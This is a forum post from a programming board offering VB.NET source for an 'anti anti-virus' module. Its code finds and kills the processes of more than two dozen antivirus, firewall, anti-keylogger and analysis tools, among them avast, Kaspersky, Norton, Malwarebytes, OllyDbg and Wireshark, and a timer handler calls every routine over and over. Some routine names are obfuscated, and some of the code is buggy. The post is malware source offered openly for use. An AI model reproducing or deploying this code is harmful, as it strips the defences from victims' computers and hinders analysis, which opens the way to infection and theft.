EverEffects Backup Forum
Welcome To We Can't Program Forums, Please Log In To Access All Forums.

Enjoy Your Stay

- Staff

EverEffects Backup Forum

Designers World
 
HomePortalMemberlistRegisterLog in



 


Share | 
 

 Anti Anti Virus's

View previous topic View next topic Go down 
AuthorMessage
DeToX
Staff
Staff


Posts : 14
Join date : 2010-05-28

PostSubject: Anti Anti Virus's   Thu Jun 03, 2010 6:14 pm
These will check if a process is running then kill the process

Code:


Public Class antis
    Public Shared Sub anubi()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "anubis"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub anubi2()
        Dim Anubis As Process() = Process.GetProcesses
        Dim bwiw0j As Integer
        For bwiw0j = 0 To Anubis.Length - 1
            Debug.WriteLine(Anubis(bwiw0j).ProcessName)
            If Strings.UCase(Anubis(bwiw0j).ProcessName) = Strings.UCase("Anubis") Then
                Anubis(bwiw0j).Kill()
            End If
        Next
    End Sub
    Public Shared Sub áóñõáòåäŠ()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "a2servic.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub avast()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "ashWebSv.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub avg()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "avgemc.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub bitdef()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "bdagent"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub kasperky1()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "avp"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub keyscam()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "keyscrambler"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub callwarrere()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "mbam"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub îïäâéôãèåóáîäéáéîô() 'nod32
        Dim ëéììåöåòðòïøåóó As Process() = Process.GetProcesses
        Dim éåáôðõóóù As Integer
        For éåáôðõóóù = 0 To ëéììåöåòðòïøåóó.Length - 1
            Select Case Strings.LCase(ëéììåöåòðòïøåóó(éåáôðõóóù).ProcessName)
                Case "egui"
                    ëéììåöåòðòïøåóó(éåáôðõóóù).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub norman()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "npfmsg"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub olly()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "ollydbg"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub outpost()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "outpost"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub wireshark()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "wireshark"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub vpc()
        If Process.GetProcessesByName(("vpcmap")).Length >= 4 And Process.GetProcessesByName(("vmsrvc")).Length >= 4 Then
        Else
        End If
    End Sub
    Public Shared Sub mcfee()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "mcagent" & "mcuimgr"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub clam()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "clamauto.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub comodo()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "cpf.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub ewido()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "ewido.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub prot6()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "FPAVServer.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub gen()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "antigen.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub nortons()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "ccapp.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub office()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "tmlisten.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub cillin()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "pccntmon.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub jjjjjjj766666666()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "earthagent.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub spyweep()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "spysweeper.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub zoneal()
        Dim zone As Process() = Process.GetProcesses
        Dim z As Integer
        For o = 0 To zone.Length - 1
            Debug.WriteLine(zone(z).ProcessName)
            If Strings.UCase(zone(z).ProcessName) = Strings.UCase(" zlclient") Then
                zone(z).Kill()
            End If
        Next
    End Sub
    Public Shared Sub bull()
        Dim BullGuard As Process() = Process.GetProcesses
        Dim a As Integer
        For a = 0 To BullGuard.Length - 1
            Debug.WriteLine(BullGuard(a).ProcessName)
            If Strings.UCase(BullGuard(a).ProcessName) = Strings.UCase("BullGuard") Then
                BullGuard(a).Kill()
            End If
        Next
    End Sub
End Class




here is how to use them by the way they are setup

Code:


  Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
 Call antis.anubi()
            Call antis.anubi2()
            Call antis.áóñõáòåäŠ()
            Call antis.avast()
            Call antis.avg()
            Call antis.bitdef()
            Call antis.bull()
            Call antis.cillin()
            Call antis.clam()
            Call antis.comodo()
            Call antis.ewido()
            Call antis.gen()
            Call antis.kasperky1()
            Call antis.keyscam()
            Call antis.callwarrere()
            Call antis.mcfee()
            Call antis.îïäâéôãèåóáîäéáéîô()
            Call antis.norman()
            Call antis.nortons()
            Call antis.office()
            Call antis.olly()
            Call antis.outpost()
            Call antis.prot6()
            Call antis.jjjjjjj766666666()
            Call antis.spyweep()
            Call antis.vpc()
            Call antis.wireshark()
            Call antis.zoneal()
    End Sub
Back to top Go down
 

Anti Anti Virus's

View previous topic View next topic Back to top 
Page 1 of 1

Permissions in this forum:You cannot reply to topics in this forum
EverEffects Backup Forum :: Visual Basic/VB.net-
Jump to:  


   [Valid RSS]





Free phpbb forum | © phpBB | Free forum support | Contact | Report an abuse | Forumotion.com